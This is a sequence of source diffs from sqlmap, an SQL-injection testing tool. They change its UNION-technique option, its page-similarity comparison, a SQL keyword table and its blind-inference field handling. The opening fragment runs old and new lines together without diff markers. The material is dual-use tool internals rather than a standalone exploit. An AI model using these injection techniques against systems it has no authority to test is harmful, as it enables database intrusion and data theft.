upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
|
||||
upperQuery = upperQuery.replace(" having ", " HAVING ")
|
||||
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
|
||||
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
|
||||
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
|
||||
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
|
||||
upperQuery = query
|
||||
|
||||
# SQL data definition
|
||||
upperQuery = upperQuery.replace(" create ", " CREATE ")
|
||||
upperQuery = upperQuery.replace(" drop ", " DROP ")
|
||||
upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ")
|
||||
upperQuery = upperQuery.replace(" alter ", " ALTER ")
|
||||
for sqlStatements in SQL_STATEMENTS.values():
|
||||
for sqlStatement in sqlStatements:
|
||||
sqlStatementEsc = sqlStatement.replace("(", "\\(")
|
||||
queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
|
||||
|
||||
# SQL data manipulation
|
||||
upperQuery = upperQuery.replace(" insert ", " INSERT ")
|
||||
upperQuery = upperQuery.replace(" update ", " UPDATE ")
|
||||
upperQuery = upperQuery.replace(" delete ", " DELETE ")
|
||||
upperQuery = upperQuery.replace(" merge ", " MERGE ")
|
||||
|
||||
# SQL data control
|
||||
upperQuery = upperQuery.replace(" grant ", " GRANT ")
|
||||
|
||||
# SQL transaction control
|
||||
upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
|
||||
upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
|
||||
upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
|
||||
upperQuery = upperQuery.replace(" commit ", " COMMIT ")
|
||||
upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
|
||||
if queryMatch:
|
||||
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
|
||||
|
||||
return upperQuery
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -23,9 +23,13 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
try:
|
||||
import md5
|
||||
import sha
|
||||
except DeprecationWarning, _:
|
||||
from hashlib import md5
|
||||
from hashlib import sha
|
||||
|
||||
import struct
|
||||
import urllib
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -25,6 +25,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
import cookielib
|
||||
import difflib
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
@@ -33,6 +34,8 @@ import time
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
from ConfigParser import ConfigParser
|
||||
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
from lib.core.common import randomRange
|
||||
@@ -238,6 +241,28 @@ def __setGoogleDorking():
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setUnionTech():
|
||||
if conf.uTech == None:
|
||||
conf.uTech = "NULL"
|
||||
|
||||
return
|
||||
|
||||
uTechOriginal = conf.uTech
|
||||
conf.uTech = conf.uTech.lower()
|
||||
|
||||
if conf.uTech and conf.uTech not in ( "null", "orderby" ):
|
||||
infoMsg = "resetting the UNION query detection technique to "
|
||||
infoMsg += "'NULL', '%s' is not a valid technique" % uTechOriginal
|
||||
logger.info(infoMsg)
|
||||
|
||||
conf.uTech = "NULL"
|
||||
|
||||
else:
|
||||
debugMsg = "setting UNION query detection technique to "
|
||||
debugMsg += "'%s'" % uTechOriginal
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
def __setDBMS():
|
||||
"""
|
||||
Force the back-end DBMS option.
|
||||
@@ -522,7 +547,7 @@ def __setHTTPTimeout():
|
||||
|
||||
conf.timeout = 3.0
|
||||
else:
|
||||
conf.timeout = 10.0
|
||||
conf.timeout = 30.0
|
||||
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
|
||||
@@ -570,10 +595,8 @@ def __setConfAttributes():
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.cj = None
|
||||
conf.contentLengths = []
|
||||
conf.dbmsHandler = None
|
||||
conf.dumpPath = None
|
||||
conf.equalLines = []
|
||||
conf.httpHeaders = []
|
||||
conf.hostname = None
|
||||
conf.loggedToOut = None
|
||||
@@ -586,6 +609,8 @@ def __setConfAttributes():
|
||||
conf.port = None
|
||||
conf.retries = 0
|
||||
conf.scheme = None
|
||||
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
|
||||
conf.seqMatcher = difflib.SequenceMatcher(None)
|
||||
conf.sessionFP = None
|
||||
conf.start = True
|
||||
conf.threadException = False
|
||||
@@ -601,7 +626,6 @@ def __setKnowledgeBaseAttributes():
|
||||
logger.debug(debugMsg)
|
||||
|
||||
kb.absFilePaths = set()
|
||||
kb.defaultResult = None
|
||||
kb.docRoot = None
|
||||
kb.dbms = None
|
||||
kb.dbmsDetected = False
|
||||
@@ -635,6 +659,7 @@ def __saveCmdline():
|
||||
debugMsg = "saving command line options on a sqlmap configuration INI file"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
config = ConfigParser()
|
||||
userOpts = {}
|
||||
|
||||
for family in optDict.keys():
|
||||
@@ -645,10 +670,8 @@ def __saveCmdline():
|
||||
if option in optionData:
|
||||
userOpts[family].append((option, value, optionData[option]))
|
||||
|
||||
confFP = open(paths.SQLMAP_CONFIG, "w")
|
||||
|
||||
for family, optionData in userOpts.items():
|
||||
confFP.write("[%s]\n" % family)
|
||||
config.add_section(family)
|
||||
|
||||
optionData.sort()
|
||||
|
||||
@@ -669,12 +692,10 @@ def __saveCmdline():
|
||||
if isinstance(value, str):
|
||||
value = value.replace("\n", "\n ")
|
||||
|
||||
confFP.write("%s = %s\n" % (option, value))
|
||||
config.set(family, option, value)
|
||||
|
||||
confFP.write("\n")
|
||||
|
||||
confFP.flush()
|
||||
confFP.close()
|
||||
confFP = open(paths.SQLMAP_CONFIG, "wb")
|
||||
config.write(confFP)
|
||||
|
||||
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
||||
logger.info(infoMsg)
|
||||
@@ -741,6 +762,7 @@ def init(inputOptions=advancedDict()):
|
||||
__setHTTPProxy()
|
||||
__setThreads()
|
||||
__setDBMS()
|
||||
__setUnionTech()
|
||||
__setGoogleDorking()
|
||||
__setMultipleTargets()
|
||||
__urllib2Opener()
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -63,6 +63,7 @@ optDict = {
|
||||
"stackedTest": "boolean",
|
||||
"timeTest": "boolean",
|
||||
"unionTest": "boolean",
|
||||
"uTech": "string",
|
||||
"unionUse": "boolean",
|
||||
},
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -129,6 +129,8 @@ def setDbms(dbms):
|
||||
|
||||
kb.dbms = dbms
|
||||
|
||||
logger.info("the back-end DBMS is %s" % kb.dbms)
|
||||
|
||||
|
||||
def setUnion(comment=None, count=None, position=None):
|
||||
"""
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -30,7 +30,7 @@ import sys
|
||||
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.6.3"
|
||||
VERSION = "0.6.4"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
|
||||
@@ -68,3 +68,47 @@ SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIAS
|
||||
# TODO: port to command line/configuration file options?
|
||||
SECONDS = 5
|
||||
RETRIES = 3
|
||||
MATCH_RATIO = 0.9
|
||||
|
||||
SQL_STATEMENTS = {
|
||||
"SQL SELECT statement": (
|
||||
"select ",
|
||||
" top ",
|
||||
" from ",
|
||||
" from dual",
|
||||
" where ",
|
||||
" group by ",
|
||||
" order by ",
|
||||
" having ",
|
||||
" limit ",
|
||||
" offset ",
|
||||
" union all ",
|
||||
" rownum as ",
|
||||
"(case ", ),
|
||||
|
||||
"SQL data definition": (
|
||||
"create ",
|
||||
"drop ",
|
||||
"truncate ",
|
||||
"alter ", ),
|
||||
|
||||
"SQL data manipulation": (
|
||||
"insert ",
|
||||
"update ",
|
||||
"delete ",
|
||||
"merge ", ),
|
||||
|
||||
"SQL data control": (
|
||||
"grant ", ),
|
||||
|
||||
"SQL data execution": (
|
||||
"exec ",
|
||||
"execute ", ),
|
||||
|
||||
"SQL transaction": (
|
||||
"start transaction ",
|
||||
"begin work ",
|
||||
"begin transaction ",
|
||||
"commit ",
|
||||
"rollback ", ),
|
||||
}
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -28,6 +28,7 @@ import difflib
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
import urlparse
|
||||
import zipfile
|
||||
@@ -188,13 +189,8 @@ def __updateMSSQLXML():
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Compare the old XML file with the new one
|
||||
differ = difflib.Differ()
|
||||
differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList))
|
||||
|
||||
# Show only the different lines
|
||||
for line in differences:
|
||||
if line.startswith("-") or line.startswith("+") or line.startswith("?"):
|
||||
print line.strip("\n")
|
||||
diff = difflib.unified_diff(oldMssqlXmlList, newMssqlXmlList, "%s.bak" % paths.MSSQL_XML, paths.MSSQL_XML)
|
||||
sys.stdout.writelines(diff)
|
||||
else:
|
||||
infoMsg = "no new Microsoft SQL Server versions since the "
|
||||
infoMsg += "last update"
|
||||
@@ -262,7 +258,7 @@ def __updateSqlmap():
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif sqlmapNewestVersion < VERSION:
|
||||
infoMsg = "if you are running a version of sqlmap more updated than "
|
||||
infoMsg = "you are running a version of sqlmap more updated than "
|
||||
infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -109,7 +109,7 @@ def cmdLineParser():
|
||||
|
||||
request.add_option("--timeout", dest="timeout", type="float",
|
||||
help="Seconds to wait before timeout connection "
|
||||
"(default 10)")
|
||||
"(default 30)")
|
||||
|
||||
|
||||
# Injection options
|
||||
@@ -163,12 +163,15 @@ def cmdLineParser():
|
||||
|
||||
techniques.add_option("--time-test", dest="timeTest",
|
||||
action="store_true",
|
||||
help="Test for Time based blind SQL injection")
|
||||
help="Test for time based blind SQL injection")
|
||||
|
||||
techniques.add_option("--union-test", dest="unionTest",
|
||||
action="store_true",
|
||||
help="Test for UNION query (inband) SQL injection")
|
||||
|
||||
techniques.add_option("--union-tech", dest="uTech",
|
||||
help="Technique to test for UNION query SQL injection")
|
||||
|
||||
techniques.add_option("--union-use", dest="unionUse",
|
||||
action="store_true",
|
||||
help="Use the UNION query (inband) SQL injection "
|
||||
@@ -189,7 +192,7 @@ def cmdLineParser():
|
||||
"be used to enumerate the back-end database "
|
||||
"management system information, structure "
|
||||
"and data contained in the tables. Moreover "
|
||||
"you can run your own SQL SELECT queries.")
|
||||
"you can run your own SQL statements.")
|
||||
|
||||
enumeration.add_option("-b", "--banner", dest="getBanner",
|
||||
action="store_true", help="Retrieve DBMS banner")
|
||||
@@ -258,7 +261,7 @@ def cmdLineParser():
|
||||
help="Last table entry to dump")
|
||||
|
||||
enumeration.add_option("--sql-query", dest="query",
|
||||
help="SQL SELECT query to be executed")
|
||||
help="SQL statement to be executed")
|
||||
|
||||
enumeration.add_option("--sql-shell", dest="sqlShell",
|
||||
action="store_true",
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -107,6 +107,10 @@ class queriesHandler(ContentHandler):
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.substring = data
|
||||
|
||||
elif name == "case":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.case = data
|
||||
|
||||
elif name == "inference":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.inference = data
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -24,13 +24,13 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import md5
|
||||
import re
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.settings import MATCH_RATIO
|
||||
|
||||
|
||||
def comparison(page, headers=None, content=False):
|
||||
def comparison(page, headers=None, getSeqMatcher=False):
|
||||
regExpResults = None
|
||||
|
||||
# String to be excluded before calculating page hash
|
||||
@@ -67,40 +67,15 @@ def comparison(page, headers=None, content=False):
|
||||
else:
|
||||
return False
|
||||
|
||||
# By default it returns the page content MD5 hash
|
||||
if not conf.equalLines and not conf.contentLengths:
|
||||
return md5.new(page).hexdigest()
|
||||
# By default it returns sequence matcher between the first untouched
|
||||
# HTTP response page content and this content
|
||||
conf.seqMatcher.set_seq2(page)
|
||||
|
||||
# TODO: go ahead from here
|
||||
if getSeqMatcher:
|
||||
return round(conf.seqMatcher.ratio(), 3)
|
||||
|
||||
# Comparison algorithm based on Content-Length header value
|
||||
elif conf.contentLengths:
|
||||
minValue = conf.contentLengths[0] - 10
|
||||
maxValue = conf.contentLengths[1] + 10
|
||||
|
||||
if len(page) >= minValue and len(page) <= maxValue:
|
||||
elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:
|
||||
return True
|
||||
|
||||
# Comparison algorithm based on page content's stable lines subset
|
||||
elif conf.equalLines:
|
||||
counter = 0
|
||||
trueLines = 0
|
||||
pageLines = page.split("\n")
|
||||
|
||||
for commonLine in conf.equalLines:
|
||||
if counter >= len(pageLines):
|
||||
break
|
||||
|
||||
if commonLine in pageLines:
|
||||
trueLines += 1
|
||||
|
||||
counter += 1
|
||||
|
||||
# TODO: just debug prints
|
||||
#print "trueLines:", trueLines, "len(conf.equalLines):", len(conf.equalLines)
|
||||
#print "result:", ( trueLines * 100 ) / len(conf.equalLines)
|
||||
|
||||
if ( trueLines * 100 ) / len(conf.equalLines) >= 98:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -25,7 +25,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
import httplib
|
||||
import md5
|
||||
import re
|
||||
import socket
|
||||
import time
|
||||
@@ -227,7 +226,7 @@ class Connect:
|
||||
|
||||
|
||||
@staticmethod
|
||||
def queryPage(value=None, place=None, content=False):
|
||||
def queryPage(value=None, place=None, content=False, getSeqMatcher=False):
|
||||
"""
|
||||
This method calls a function to get the target url page content
|
||||
and returns its page MD5 hash or a boolean value in case of
|
||||
@@ -270,7 +269,7 @@ class Connect:
|
||||
|
||||
if content:
|
||||
return page, headers
|
||||
elif page and headers:
|
||||
return comparison(page, headers, content)
|
||||
elif page:
|
||||
return comparison(page, headers, getSeqMatcher)
|
||||
else:
|
||||
return False
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -70,13 +70,25 @@ def __goInference(payload, expression):
|
||||
return value
|
||||
|
||||
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None):
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None):
|
||||
outputs = []
|
||||
origExpr = None
|
||||
|
||||
for field in expressionFieldsList:
|
||||
output = None
|
||||
|
||||
if field.startswith("ROWNUM "):
|
||||
continue
|
||||
|
||||
if isinstance(num, int):
|
||||
origExpr = expression
|
||||
expression = agent.limitQuery(num, expression, field)
|
||||
|
||||
if "ROWNUM" in expressionFieldsList:
|
||||
expressionReplaced = expression
|
||||
else:
|
||||
expressionReplaced = expression.replace(expressionFields, field, 1)
|
||||
|
||||
output = resume(expressionReplaced, payload)
|
||||
|
||||
if not output or ( expected == "int" and not output.isdigit() ):
|
||||
@@ -87,6 +99,9 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
||||
|
||||
output = __goInference(payload, expressionReplaced)
|
||||
|
||||
if isinstance(num, int):
|
||||
expression = origExpr
|
||||
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
@@ -116,7 +131,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
return output
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||
|
||||
if len(expressionFieldsList) > 1:
|
||||
infoMsg = "the SQL query provided has more than a field. "
|
||||
@@ -132,8 +147,9 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
# can return multiple entries
|
||||
if fromUser and " FROM " in expression:
|
||||
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
|
||||
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
|
||||
|
||||
if limitRegExp:
|
||||
if limitRegExp or ( kb.dbms == "Microsoft SQL Server" and topLimit ):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
